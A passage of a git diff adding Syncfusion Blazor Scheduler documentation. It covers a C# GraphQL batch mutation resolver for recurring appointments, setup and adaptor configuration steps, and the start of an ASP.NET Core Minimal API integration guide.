+        bool isSeriesEdit = IsAction("EditSeries") || (hasChangedParent && hasDeletedEdited);
+
+        // ---------------- DELETES ----------------
+        foreach (var d in deleted)
+        {
+            var target = GraphQLQuery.Appointments.FirstOrDefault(a => a.Id == d.Id);
+            if (target == null) continue;
+
+            bool isEditedOccurrence = target.RecurrenceID.HasValue;
+            bool isSeriesParent = !string.IsNullOrEmpty(target.RecurrenceRule);
+
+            if (isSeriesEdit && isEditedOccurrence)
+            {
+                GraphQLQuery.Appointments.RemoveAll(a => a.Id == target.Id);
+
+                var parent = GraphQLQuery.Appointments.FirstOrDefault(a => a.Id == target.RecurrenceID!.Value);
+                if (parent != null && !string.IsNullOrWhiteSpace(parent.RecurrenceException))
+                {
+                    var tokens = parent.RecurrenceException
+                        .Split(',', StringSplitOptions.RemoveEmptyEntries)
+                        .Select(t => t.Trim())
+                        .ToList();
+
+                    var iso = (target.StartTime.Kind == DateTimeKind.Utc ? target.StartTime : target.StartTime.ToUniversalTime()).ToString("o");
+                    tokens.RemoveAll(t => string.Equals(t, iso, StringComparison.Ordinal));
+
+                    if (!string.IsNullOrWhiteSpace(target.RecurrenceException))
+                    {
+                        foreach (var tkn in target.RecurrenceException.Split(',', StringSplitOptions.RemoveEmptyEntries))
+                        {
+                            var tt = tkn.Trim();
+                            tokens.RemoveAll(t => string.Equals(t, tt, StringComparison.Ordinal));
+                        }
+                    }
+
+                    parent.RecurrenceException = tokens.Count == 0 ? null : string.Join(",", tokens);
+                }
+
+                results.Add(target);
+                continue;
+            }
+
+            if (isEditedOccurrence && IsAction("DeleteOccurrence"))
+            {
+                GraphQLQuery.Appointments.RemoveAll(a => a.Id == target.Id);
+                results.Add(target);
+                continue;
+            }
+
+            if (isSeriesParent && IsAction("DeleteSeries"))
+            {
+                var removed = GraphQLQuery.Appointments
+                    .Where(a => a.Id == target.Id || a.RecurrenceID == target.Id)
+                    .ToList();
+
+                GraphQLQuery.Appointments.RemoveAll(a => a.Id == target.Id || a.RecurrenceID == target.Id);
+                results.AddRange(removed);
+                continue;
+            }
+
+            if (!isSeriesEdit)
+            {
+                GraphQLQuery.Appointments.RemoveAll(a => a.Id == target.Id);
+                results.Add(target);
+            }
+        }
+
+        // ---------------- UPDATES ----------------
+        foreach (var u in changed)
+        {
+            var existing = GraphQLQuery.Appointments.FirstOrDefault(x => x.Id == u.Id);
+
+            if (existing == null)
+            {
+                if (u.Id <= 0)
+                    u.Id = GraphQLQuery.Appointments.Select(a => a.Id).DefaultIfEmpty(0).Max() + 1;
+
+                GraphQLQuery.Appointments.Add(u);
+                results.Add(u);
+                continue;
+            }
+
+            bool isParent = !string.IsNullOrEmpty(existing.RecurrenceRule) || !string.IsNullOrEmpty(u.RecurrenceRule);
+
+            existing.Subject = u.Subject ?? existing.Subject;
+            existing.Location = u.Location ?? existing.Location;
+            existing.StartTime = u.StartTime;
+            existing.EndTime = u.EndTime;
+            existing.Description = u.Description ?? existing.Description;
+            existing.IsAllDay = u.IsAllDay ?? existing.IsAllDay;
+            existing.RecurrenceRule = u.RecurrenceRule ?? existing.RecurrenceRule;
+
+            if (isParent)
+            {
+                if (!isSeriesEdit)
+                    existing.RecurrenceException = u.RecurrenceException ?? existing.RecurrenceException;
+            }
+            else
+            {
+                existing.RecurrenceException = u.RecurrenceException ?? existing.RecurrenceException;
+            }
+
+            existing.RecurrenceID = u.RecurrenceID ?? existing.RecurrenceID;
+            results.Add(existing);
+        }
+
+        // ---------------- ADDS ----------------
+        foreach (var a in added)
+        {
+            if (a.Id <= 0)
+            {
+                a.Id = GraphQLQuery.Appointments
+                    .Select(x => x.Id)
+                    .DefaultIfEmpty(0)
+                    .Max() + 1;
+            }
+            GraphQLQuery.Appointments.Add(a);
+            results.Add(a);
+        }
+
+        return results;
+    }
+}
+```
+A mutation resolver is a C# method decorated with GraphQL attributes that:
+
+- **Receives input parameters** from the Scheduler (new/modified appointment data, primary key value, etc.).
+- **Processes the operation** (validation, time conflict checks, data modification).
+- **Persists changes** to the data source (in-memory list, database, file, external service).
+- **Returns results** to the client (updated appointment record or success/failure status).
+
+**Typical operations handled by mutation resolvers in Scheduler:**
+
+| Operation       | Triggered when...                                 | Resolver method example     | Primary parameters received                     |
+|-----------------|---------------------------------------------------|-----------------------------|-------------------------------------------------|
+| **Create**      | User clicks "Add" or double-clicks to create     | `CreateAppointment`         | `appointment` (new record), `index`, `action`   |
+| **Update**      | User edits an existing appointment and saves     | `UpdateAppointment`         | `appointment` (updated record), `primaryColumnValue` (Id), `primaryColumnName` |
+| **Delete**      | User selects appointment and clicks "Delete"     | `DeleteAppointment`         | `primaryColumnValue` (Id), `primaryColumnName`  |
+| **BatchUpdate** |Editing/deleting **single occurrence** of recurring event<br>| `BatchAppointment`          | `added`: [AppointmentInput!]<br>`changed`: [AppointmentInput!]<br>`deleted`: [AppointmentInput!]<br>`action`: String (optional, e.g. "batch")<br>`primaryColumnName`: String (optional)<br>`additionalParameters`: Any (optional) |
+
+The GraphQL Mutation class has been successfully created and is ready to handle all data modification operations from the Syncfusion Blazor Scheduler.
+
+---
+
+## Integrating Syncfusion Blazor Scheduler
+
+### Step 1: Create a Blazor Web App
+
+Create a **Blazor Web App** using Visual Studio 2026 or .NET CLI.
+
+**Using Visual Studio 2026 or later:**
+1. Open Visual Studio 2026
+2. Click **Create a new project**
+3. Search for **Blazor Web App** template
+4. Configure project name as **BlazorSchedulerApp**
+5. Select **.NET 10.0** as the target framework
+6. Set **Interactive render mode** to **Server**
+7. Set **Interactivity location** to **Per page/component**
+8. Click **Create**
+
+**Using .NET CLI:**
+```bash
+dotnet new blazor -n BlazorSchedulerApp --interactivity Server
+cd BlazorSchedulerApp
+```
+
+> Configure the Interactive render mode to **InteractiveServer** during project creation as the Scheduler requires interactivity for CRUD operations.
+
+### Step 2: Install Required NuGet Packages and Configure Blazor Scheduler Component with GraphQL
+
+Before installing the necessary NuGet packages, a new Blazor Web Application must be created using the default template. This template automatically generates essential starter files—such as `Program.cs`, `appsettings.json`, the `wwwroot` folder, and the `Components` folder.
+
+For this guide, a Blazor application named **BlazorSchedulerApp** has been created. Once the project is set up, the next step involves installing the required NuGet packages. NuGet packages are software libraries that add functionality to the application.
+
+#### Using .NET CLI
+
+Open a terminal in the project directory and run:
+
+```bash
+dotnet add package Syncfusion.Blazor.Schedule
+dotnet add package Syncfusion.Blazor.Themes
+```
+
+#### Project File Reference
+
+The installed packages are reflected in the `BlazorSchedulerApp.csproj` file:
+
+```xml
+<ItemGroup>
+    <PackageReference Include="Syncfusion.Blazor.Schedule" Version="*" />
+    <PackageReference Include="Syncfusion.Blazor.Themes" Version="*" />
+</ItemGroup>
+```
+
+All required packages are now installed.
+
+> **Note**: After installing packages, build the project to ensure all dependencies are restored correctly: `dotnet build`
+
+#### Import the required namespaces in the `Components/_Imports.razor` file:
+
+```csharp
+@using Syncfusion.Blazor
+@using Syncfusion.Blazor.Schedule
+@using Syncfusion.Blazor.Data
+```
+
+#### Add the Syncfusion stylesheet and scripts in the `Components/App.razor` file. Find the `<head>` section and `<body>`section to add:
+
+```html
+<head>
+    <!-- Syncfusion Blazor Stylesheet -->
+    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.3.css" rel="stylesheet" />
+</head>
+<body>
+
+    <!-- Syncfusion Blazor Scripts -->
+    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
+</body>
+```
+For this project, the bootstrap5.3 theme is used. A different theme can be selected or the existing theme can be customized based on project requirements. Refer to the [Syncfusion Blazor Components Appearance](https://blazor.syncfusion.com/documentation/appearance/themes) documentation to learn more about theming and customization options.
+
+#### Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **Program.cs** file of your Blazor Web App.
+
+```csharp
+using Syncfusion.Blazor;
+
+var builder = WebApplication.CreateBuilder(args);
+
+// Add services to the container.
+builder.Services.AddRazorComponents()
+    .AddInteractiveServerComponents()
+    .AddInteractiveWebAssemblyComponents();
+
+builder.Services.AddSyncfusionBlazor();
+
+var app = builder.Build();
+
+```
+
+Syncfusion components are now configured and ready to use. For additional guidance, refer to the Scheduler component’s [getting‑started](https://blazor.syncfusion.com/documentation/scheduler/getting-started-webapp) documentation.
+
+### Step 3: Create the Data Model
+
+A data model is a C# class that represents the structure of a database table. This model defines the properties that correspond to the columns in the `Appointments` table.
+
+```csharp
+
+public class Appointment
+{
+    public int Id { get; set; }
+
+    public string Subject { get; set; }
+
+    public string? Location { get; set; }
+
+    public DateTime StartTime { get; set; }
+
+    public DateTime EndTime { get; set; }
+
+    public string? Description { get; set; }
+
+    public bool? IsAllDay { get; set; }
+
+    public string? RecurrenceRule { get; set; }
+
+    public string? RecurrenceException { get; set; }
+
+    public int? RecurrenceID { get; set; }
+}
+```
+
+#### Explanation:
+
+- The `[Key]` attribute marks the `Id` property as the primary key (a unique identifier for each record).
+- Each property represents a column in the database table.
+- The `?` symbol indicates that a property is nullable (can be empty).
+
+The data model has been successfully created.
+
+### Step 4: Update the Blazor Scheduler
+
+The `Home.razor` component will display the appointment data in a Syncfusion Blazor Scheduler with CRUD operations capabilities.
+
+**Instructions:**
+
+1. Open the file named `Home.razor` in the `Components/Pages` folder.
+2. Add the following code to create a basic Scheduler:
+[Home.razor]
+
+    ```cshtml
+    @page "/"
+    @rendermode InteractiveServer
+    
+    <SfSchedule TValue="Appointment" 
+                 @bind-SelectedDate="@CurrentDate" 
+                 Width="100%" 
+                 Height="650px">
+        
+        <ScheduleViews>
+            <ScheduleView Option="View.Day"></ScheduleView>
+            <ScheduleView Option="View.Week"></ScheduleView>
+            <ScheduleView Option="View.WorkWeek"></ScheduleView>
+            <ScheduleView Option="View.Month"></ScheduleView>
+            <ScheduleView Option="View.Agenda"></ScheduleView>
+        </ScheduleViews>
+    
+        <ScheduleEventSettings TValue="Appointment" AllowEditFollowingEvents="true">
+            <SfDataManager Url="http://localhost:5070/graphql"
+                           Adaptor="Adaptors.GraphQLAdaptor"
+                           GraphQLAdaptorOptions="@adaptorOptions">
+            </SfDataManager>
+        </ScheduleEventSettings>
+    
+    </SfSchedule>
+    
+    @code {
+        // GraphQLAdaptorOptions will be added in the next step
+    }
+    ```
+
+### Component Explanation:
+
+- **`@rendermode InteractiveServer`**: Enables interactive server-side rendering for the component, allowing real-time updates and user interactions (such as adding, editing, or deleting appointments) without full page reloads.
+- **`<SfSchedule>`**: The main Scheduler component that displays appointments in various calendar views (Day, Week, Work Week, Month, Agenda, etc.).
+- **`<ScheduleViews>`**: Defines the available view options for the Scheduler. Each `<ScheduleView>` specifies a supported calendar layout (e.g., Day, Week, Month).
+- **`<ScheduleEventSettings>`**: Configures how events (appointments) are bound and managed. This is where data binding (via `SfDataManager`) and CRUD settings are typically placed.
+
+
+In the `Home.razor`, `SfDataManager` component connects the Scheduler to the GraphQL backend using the adaptor options configured below:
+
+```cshtml
+<SfDataManager Url="http://localhost:5070/graphql" 
+               GraphQLAdaptorOptions="@adaptorOptions" 
+               Adaptor="Adaptors.GraphQLAdaptor"> 
+</SfDataManager>
+```
+
+**Component Attributes Explained:**
+
+| Attribute | Purpose | Value |
+|-----------|---------|-------|
+| `Url` | GraphQL endpoint location | `http://localhost:5070/graphql` (must match backend port) |
+| `GraphQLAdaptorOptions` | References the adaptor configuration object | `@adaptorOptions` (defined in next heading) |
+| `Adaptor` | Specifies adaptor type to use | `Adaptors.GraphQLAdaptor` (tells Syncfusion to use GraphQL adaptor) |
+
+---
+
+### Step 5: Configure GraphQL Adaptor and Data Binding
+
+The GraphQL adaptor is a bridge that connects the Syncfusion Blazor Scheduler with the GraphQL backend. The adaptor translates Scheduler operations into GraphQL queries and mutations. When the user interacts with the Scheduler, the adaptor automatically sends the appropriate GraphQL request to the backend, receives the response, and updates the Scheduler display.
+
+**What is a GraphQL Adaptor?**
+
+An adaptor is a translator between two different systems. The GraphQL adaptor specifically:
+
+- Receives interaction events generated by the Scheduler, including Add, Edit, Delete operations.
+- Converts these actions into GraphQL query or mutation syntax.
+- Sends the **GraphQL request** to the backend **GraphQL endpoint**.
+- Receives the response data from the backend.
+- Formats the response back into a structure the Scheduler understands.
+- Updates the Scheduler display with the new data.
+
+The adaptor enables bidirectional communication between the frontend (Scheduler) and backend (GraphQL server).
+
+---
+
+**GraphQL Adaptor Configuration**
+
+The `@code` block in `Home.razor` contains C# code that configures how the adaptor behaves. This configuration is critical because it defines:
+
+- Which GraphQL query to use for reading data.
+- Which GraphQL mutations to use for creating, updating, and deleting data.
+- How to connect to the GraphQL backend endpoint.
+
+**Instructions:**
+
+1. Open the `Home.razor` file located at `Components/Pages/Home.razor`.
+2. Scroll to the `@code` block at the bottom of the file.
+3. Add the following complete configuration:
+
+    [Home.razor]
+    ```csharp
+    @code {
+      private DateTime CurrentDate = new DateTime(2026, 2, 12);
+      /// <summary>
+      /// GraphQLAdaptorOptions configures how the Scheduler communicates with the GraphQL backend.
+      /// This object contains the query, mutation operations, and endpoint URL.
+      /// </summary>
+      private GraphQLAdaptorOptions adaptorOptions = new GraphQLAdaptorOptions
+      {
+        Query = @"
+                query appointmentsData($dataManager: DataManagerRequestInput!){
+                    appointmentsData(dataManager: $dataManager) {
+                        count,
+                        result { 
+                            Id, 
+                            Subject, 
+                            Location, 
+                            StartTime, 
+                            EndTime, 
+                            Description, 
+                            IsAllDay,
+                            RecurrenceRule,
+                            RecurrenceException,
+                            RecurrenceID
+    
+                        }
+                    }
+                }",
+    
+        Mutation = new GraphQLMutation
+        {
+          Insert = @"
+                    mutation create($record: AppointmentInput!, $index: Int!, $action: String!, $additionalParameters: Any) {
+                      createAppointment(appointment: $record, index: $index, action: $action, additionalParameters: $additionalParameters) {
+                        Id, Subject, Location, StartTime, EndTime, Description, IsAllDay,RecurrenceRule,RecurrenceException,RecurrenceID
+                      }
+                    }",
+    
+          Update = @"
+                    mutation update($record: AppointmentInput!, $action: String!, $primaryColumnName: String!, $primaryColumnValue: Int!, $additionalParameters: Any) {
+                      updateAppointment(appointment: $record, action: $action, primaryColumnName: $primaryColumnName, primaryColumnValue: $primaryColumnValue, additionalParameters: $additionalParameters) {
+                        Id, Subject, Location, StartTime, EndTime, Description, IsAllDay,RecurrenceRule,RecurrenceException,RecurrenceID
+                      }
+                    }",
+    
+          Delete = @"
+                    mutation delete($primaryColumnValue: Int!, $action: String!, $primaryColumnName: String!, $additionalParameters: Any) {
+                      deleteAppointment(primaryColumnValue: $primaryColumnValue, action: $action, primaryColumnName: $primaryColumnName, additionalParameters: $additionalParameters) {
+                        Id, Subject, Location, StartTime, EndTime, Description, IsAllDay,RecurrenceRule,RecurrenceException,RecurrenceID
+                      }
+                    }",
+          Batch = @"
+        mutation batch(
+          $added: [AppointmentInput!],
+          $changed: [AppointmentInput!],
+          $deleted: [AppointmentInput!], 
+          $action: String,
+          $primaryColumnName: String,
+          $additionalParameters: Any
+        ) {
+          batchAppointment(
+            added: $added,
+            changed: $changed,
+            deleted: $deleted,
+            action: $action,
+            primaryColumnName: $primaryColumnName,
+            additionalParameters: $additionalParameters
+          ) {
+            Id
+            Subject
+            Location
+            StartTime
+            EndTime
+            Description
+            IsAllDay
+            RecurrenceRule
+            RecurrenceException
+            RecurrenceID
+          }
+        }"
+        },
+    
+    
+        ResolverName = "AppointmentsData"
+      };
+    }
+    ```
+
+**GraphQL Query Structure Explained in Detail**
+
+The Query property is critical for understanding how data flows. Let's break down each component:
+
+```
+query appointmentsData($dataManager: DataManagerRequestInput!){}
+```
+
+**Line Breakdown:**
+- `query` - GraphQL keyword indicating a read operation
+- `appointmentsData` - Name of the query (must match resolver name with camelCase)
+- `($dataManager: DataManagerRequestInput!)` - Parameter declaration
+  - `$dataManager` - Variable name (referenced as $dataManager throughout the query)
+  - `: DataManagerRequestInput!` - Type specification
+  - `!` - Exclamation mark means this parameter is **required** (not optional)
+
+```
+appointmentsData(dataManager: $dataManager) {}
+```
+
+**Line Breakdown:**
+- `appointmentsData(...)` - Calls the resolver method in backend
+- `dataManager: $dataManager` - Passes the $dataManager variable to the resolver
+
+    ```
+    count
+    result {
+        Id, 
+        Subject, 
+        Location, 
+        StartTime, 
+        EndTime, 
+        Description, 
+        IsAllDay
+    }
+    ```
+- **`count`**  
+  Returns the **total number of appointments** that match the current query criteria.  
+  - Example: If 30 total appointments exist in the visible date range, `count = 30`.  
+  - The Scheduler uses this to understand the scope of data (though it usually loads only the visible window and relies on date-range filtering).
+
+- **`result`**  
+  Contains the **array of appointment records** that match the current request (typically filtered by the visible date range).  
+  - `{ ... }` — List of fields to return for each appointment.  
+  - **Each field must exactly match** the property names in your C# `Appointment` class (case-sensitive).  
+  - Only the requested fields are returned (no over-fetching).  
+  - The Scheduler binds these fields directly to render events on the calendar:  
+    - `Id` → unique identifier  
+    - `Subject` → event title  
+    - `Location` → optional event location  
+    - `StartTime` / `EndTime` → event timing (must be ISO 8601 format)  
+    - `Description` → optional event details  
+    - `IsAllDay` → determines if the event spans the full day
+    - `RecurrenceRule` → string that defines the repeat pattern (iCalendar RRULE format, e.g., "FREQ=DAILY;INTERVAL=1;COUNT=10")
+    - `RecurrenceException` → string containing comma-separated dates/times (in UTC format like yyyyMMdd or yyyyMMddTHHmmssZ) to exclude from the series
+    - `RecurrenceID` → nullable integer (int?) that links an edited/deleted occurrence back to its parent recurring series
+
+---
+
+**Response Structure Example**
+
+When the backend executes the query, it returns a **JSON response** in this exact structure:
+
+```json
+{
+  "data": {
+    "appointmentsData": {
+      "count": 4,
+      "result": [
+        {
+          "Id": 1,
+          "Subject": "Testing",
+          "Location": null,
+          "StartTime": "2026-02-10T09:30:00",
+          "EndTime": "2026-02-10T10:30:00",
+          "Description": null,
+          "IsAllDay": false,
+          "RecurrenceRule": null,
+          "RecurrenceException": null,
+          "RecurrenceID": null
+        },
+        {
+          "Id": 2,
+          "Subject": "Conference (Recurring)",
+          "Location": null,
+          "StartTime": "2026-02-11T10:30:00",
+          "EndTime": "2026-02-11T12:00:00",
+          "Description": null,
+          "IsAllDay": false,
+          "RecurrenceRule": "FREQ=DAILY;INTERVAL=1;COUNT=5",
+          "RecurrenceException": null,
+          "RecurrenceID": null
+        },
+        {
+          "Id": 3,
+          "Subject": "Meeting",
+          "Location": null,
+          "StartTime": "2026-02-12T09:30:00",
+          "EndTime": "2026-02-12T11:30:00",
+          "Description": null,
+          "IsAllDay": false,
+          "RecurrenceRule": null,
+          "RecurrenceException": null,
+          "RecurrenceID": null
+        },
+        {
+          "Id": 4,
+          "Subject": "Vacation",
+          "Location": null,
+          "StartTime": "2026-02-14T11:30:00",
+          "EndTime": "2026-02-14T13:00:00",
+          "Description": null,
+          "IsAllDay": false,
+          "RecurrenceRule": null,
+          "RecurrenceException": null,
+          "RecurrenceID": null
+        }
+      ]
+    }
+  }
+}
+```
+**Response Structure Explanation:**
+
+| Part | Purpose | Example |
+|------|---------|---------|
+| `data` | Root object containing the query result | Always present in successful response |
+| `appointmentsData` | Matches the query name (camelCase) | Contains count and result |
+| `count` | Total number of records available | 4 (in this example) |
+| `result` | Array of AppointmentRecord objects | [ {...}, {...}, {...}, {...} ] |
+| Each field in result | Matches GraphQL query field names | Field values from database |
+
+**Understanding GraphQL Mutations for the Scheduler**
+
+**What is a mutation?**  
+A mutation is just a way to **change data** on the server — like adding a new appointment, editing one, or deleting one.
+
+In your Scheduler app:
+
+- When you **create** a new appointment → you use a **create** mutation.
+- When you **edit** an existing appointment → you use an **update** mutation.
+- When you **delete** an appointment → you use a **delete** mutation.
+- When you **create**, **edit**, and **delete** collections of an appointment → you use a **batch** mutation.
+
+## Running the Application
+
+**Build the Application**
+
+1. Open the terminal.
+2. Navigate to the **GraphQL server project** directory (e.g., `GraphQLServer`)..
+3. Run the following command:
+
+    ```powershell
+    dotnet build
+    ```
+4. Navigate to the **Blazor App project** directory (e.g., `BlazorSchedulerApp`) and Build the Blazor project:
+    ```powershell
+    dotnet build
+    ```
+
+**Run the Application**
+
+1. First, run the GraphQL server (this must be running before the Blazor app):
+    - Navigate to the GraphQL server project folder(e.g., GraphQLServer).
+    - Execute:
+
+
+    ```powershell
+    dotnet run
+    ```
+    - Now listening on: http://localhost:5070 (or similar — check the console output)
+    - Note the HTTP port (e.g. 5070) — you'll need it for the Blazor app.
+
+
+2. In a separate terminal, run the Blazor Scheduler application:
+    - Navigate to the Blazor project folder (e.g., BlazorSchedulerApp).
+    - Execute:
+
+
+    ```powershell
+        dotnet run
+    ```
+    - The Blazor app will typically start on http://localhost:5194 (or similar — check the console output).
+
+**Access the Application**
+
+1. Open a web browser.
+2. Navigate to `https://localhost:5194` (or the port shown in the terminal).
+3. The Scheduler Application is now running and ready to use.
+
+    ![Basic Scheduler displaying appointments from the GraphQL Server](./images/blazor-scheduler-graphql-frontend.png)
+
+---
+
+## Complete Sample Repository
+
+A complete, working sample implementation is available in the [GitHub repository](https://github.com/SyncfusionExamples/How-to-integrate-Syncfusion-Blazor-Scheduler-with-GraphQL).
+
+---
+## Summary
+
+This guide demonstrates how to:
+
+1. Setting Up the GraphQL Backend. [🔗](#setting-up-the-graphql-backend)
+2. Integrating Syncfusion Blazor Scheduler. [🔗](#integrating-syncfusion-blazor-scheduler)
+3. Running the Application. [🔗](#running-the-application)
+4. Complete Sample Repository. [🔗](#complete-sample-repository)
+
+The application now provides a complete solution for managing Appointments with a modern Syncfusion Blazor Scheduler integrated with a Hot Chocolate GraphQL backend.
\ No newline at end of file
diff --git a/blazor/scheduler/images/blazor-minimalAPI-frontend.png b/blazor/scheduler/images/blazor-minimalAPI-frontend.png
new file mode 100644
index 0000000000..f5438848ab
Binary files /dev/null and b/blazor/scheduler/images/blazor-minimalAPI-frontend.png differ
diff --git a/blazor/scheduler/images/blazor-scheduler-EF-Output.png b/blazor/scheduler/images/blazor-scheduler-EF-Output.png
new file mode 100644
index 0000000000..d7e6127911
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-EF-Output.png differ
diff --git a/blazor/scheduler/images/blazor-scheduler-graphql-frontend.png b/blazor/scheduler/images/blazor-scheduler-graphql-frontend.png
new file mode 100644
index 0000000000..a00127cd82
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-graphql-frontend.png differ
diff --git a/blazor/scheduler/images/blazor-scheduler-postgresql-database.png b/blazor/scheduler/images/blazor-scheduler-postgresql-database.png
new file mode 100644
index 0000000000..2e9ea3eb4f
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-postgresql-database.png differ
diff --git a/blazor/scheduler/images/blazor-scheduler-postgresql-frontend.png b/blazor/scheduler/images/blazor-scheduler-postgresql-frontend.png
new file mode 100644
index 0000000000..d281d1e087
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-postgresql-frontend.png differ
diff --git a/blazor/scheduler/minimalapi.md b/blazor/scheduler/minimalapi.md
new file mode 100644
index 0000000000..089ebea78b
--- /dev/null
+++ b/blazor/scheduler/minimalapi.md
@@ -0,0 +1,623 @@
+---
+layout: post
+title: Minimal API Data Binding in Blazor Scheduler Component | Syncfusion
+description: Learn about consuming data from ASP.NET Core Minimal API and binding it to Syncfusion Blazor Scheduler Component, and performing CRUD operations.
+platform: Blazor
+control: Scheduler
+documentation: ug
+---
+
+# Connecting ASP.NET Core Minimal API to Scheduler Component
+
+The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Scheduler component supports binding data from ASP.NET Core [Minimal API](https://learn.microsoft.com/en-us/aspnet/core/fundamentals/minimal-apis) endpoints hosted within the same application. This approach enables seamless integration of appointment data with full CRUD (Create, Read, Update, Delete) functionality without requiring a separate backend project.
+
+This documentation explains how to create a Blazor Server application that hosts Minimal API endpoints in the same project, enabling the Scheduler component to perform CRUD operations on in-memory appointment data through RESTful HTTP requests.
+
+## Prerequisites
+
+Install the following software and packages before starting the process:
+
+| Software/Package | Version | Purpose |
+|-----------------|---------|---------|
+| Visual Studio 2026 | 18.0 or later | Development IDE with Blazor workload |
+| .NET SDK | net10.0 or compatible | Runtime and build tools |
+| Syncfusion.Blazor.Schedule | Latest Version | Scheduler component |
+| Syncfusion.Blazor.Themes | Latest Version | Styling for Scheduler |
+
+## Binding data from Minimal API endpoints
+
+This section explains how to create an ASP.NET Core Minimal API backend within a Blazor Server application and bind appointment data to the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Scheduler component. The following steps demonstrate the actual project creation flow.
+
+### Step 1: Create a Blazor Web App
+
+Create a **Blazor Web App** using Visual Studio 2026 or .NET CLI.
+
+**Using Visual Studio 2026:**
+1. Open Visual Studio 2026
+2. Click **Create a new project**
+3. Search for **Blazor Web App** template
+4. Configure project name as **BlazorSchedulerApp**
+5. Select **.NET 10.0** as the target framework
+6. Set **Interactive render mode** to **Server**
+7. Set **Interactivity location** to **Per page/component**
+8. Click **Create**
+
+**Using .NET CLI:**
+```bash
+dotnet new blazor -n BlazorSchedulerApp --interactivity Server
+cd BlazorSchedulerApp
+```
+
+> Configure the Interactive render mode to **InteractiveServer** during project creation as the Scheduler requires interactivity for CRUD operations.
+
+### Step 2: Install Required NuGet Packages
+
+Install the Syncfusion Blazor packages using the .NET CLI:
+
+**Using .NET CLI:**
+```bash
+dotnet add package Syncfusion.Blazor.Schedule
+dotnet add package Syncfusion.Blazor.Themes
+```
+The installed packages are reflected in the `BlazorSchedulerApp.csproj` file:
+
+```xml
+<ItemGroup>
+    <PackageReference Include="Syncfusion.Blazor.Schedule" Version="*" />
+    <PackageReference Include="Syncfusion.Blazor.Themes" Version="*" />
+</ItemGroup>
+```
+> After installing packages, build the project to ensure all dependencies are restored correctly: `dotnet build`
+
+### Step 3: Add Import Namespaces
+
+Open the **Components/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Schedule` namespaces.
+
+```cshtml
+@using Syncfusion.Blazor   
+@using Syncfusion.Blazor.Schedule
+```
+
+### Step 4: Add stylesheet and script resources
+
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet reference in the `<head>` section and the script reference at the end of the `<body>` in the **/Components/App.razor** file as shown below:
+
+```html
+<head>
+    ....
+    <link href="_content/Syncfusion.Blazor.Themes/tailwind3.css" rel="stylesheet" />
+</head>
+
+<body>
+    ....
+    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+</body>
+```
+
+### Step 5: Create the Appointment Model
+
+Create a model class to represent scheduler appointments with all required properties.
+
+
+[Models/AppointmentData.cs]
+
+```csharp
+namespace BlazorSchedulerApp.Models;
+
+public class AppointmentData
+{
+    public int Id { get; set; }
+    public string Subject { get; set; }
+    public string Location { get; set; } = string.Empty;
+    public DateTime StartTime { get; set; }
+    public DateTime EndTime { get; set; }
+    public string Description { get; set; } = string.Empty;
+    public bool IsAllDay { get; set; }
+    public string? RecurrenceRule { get; set; }
+    public int? RecurrenceID { get; set; }
+    public string? RecurrenceException { get; set; }
+}
+```
+
+Open the **Components/_Imports.razor** file and import the `BlazorSchedulerApp.Models` namespaces.
+
+```cshtml
+@using BlazorSchedulerApp.Models
+```
+
+**Key Properties Explanation:**
+
+- **Id**: Primary key for the appointment (auto-generated by API)
+- **Subject**: Title of the appointment
+- **StartTime/EndTime**: Date and time range for the appointment
+- **Location**: Where the appointment takes place
+- **IsAllDay**: Flag for all-day events
+- **RecurrenceRule**: Rule for recurring appointments (e.g., daily, weekly)
+- **RecurrenceID**: Links recurring appointment instances
+- **RecurrenceException**: Handles exceptions in recurring series
+
+> **Note**: All properties use default values to avoid null reference issues. The API will handle generating unique IDs for new appointments.
+
+### Step 6: Create the Appointment Service
+
+Implement a service layer to handle HTTP communication with the Minimal API endpoints.
+
+[Services/AppointmentService]
+
+```csharp
+using BlazorSchedulerApp.Models;
+using System.Net.Http.Json;
+
+namespace BlazorSchedulerApp.Services;
+
+public class AppointmentService
+{
+    private readonly HttpClient _httpClient;
+
+    public AppointmentService(HttpClient httpClient)
+    {
+        _httpClient = httpClient;
+    }
+
+    /// <summary>
+    /// Retrieves all appointments from the API
+    /// </summary>
+    public async Task<List<AppointmentData>> GetAppointmentsAsync()
+    {
+        try
+        {
+            var result = await _httpClient.GetFromJsonAsync<List<AppointmentData>>("/api/appointments");
+            return result ?? new List<AppointmentData>();
+        }
+        catch (Exception ex)
+        {
+            Console.WriteLine($"Error fetching appointments: {ex.Message}");
+            return new List<AppointmentData>();
+        }
+    }
+
+    /// <summary>
+    /// Retrieves a single appointment by ID
+    /// </summary>
+    public async Task<AppointmentData?> GetAppointmentByIdAsync(int id)
+    {
+        try
+        {
+            return await _httpClient.GetFromJsonAsync<AppointmentData>($"/api/appointments/{id}");
+        }
+        catch (Exception ex)
+        {
+            Console.WriteLine($"Error fetching appointment: {ex.Message}");
+            return null;
+        }
+    }
+
+    /// <summary>
+    /// Creates a new appointment via the API
+    /// </summary>
+    public async Task<AppointmentData?> CreateAppointmentAsync(AppointmentData appointment)
+    {
+        try
+        {
+            var response = await _httpClient.PostAsJsonAsync("/api/appointments", appointment);
+            if (response.IsSuccessStatusCode)
+            {
+                return await response.Content.ReadFromJsonAsync<AppointmentData>();
+            }
+            return null;
+        }
+        catch (Exception ex)
+        {
+            Console.WriteLine($"Error creating appointment: {ex.Message}");
+            return null;
+        }
+    }
+
+    /// <summary>
+    /// Updates an existing appointment via the API
+    /// </summary>
+    public async Task<bool> UpdateAppointmentAsync(int id, AppointmentData appointment)
+    {
+        try
+        {
+            var response = await _httpClient.PutAsJsonAsync($"/api/appointments/{id}", appointment);
+            return response.IsSuccessStatusCode;
+        }
+        catch (Exception ex)
+        {
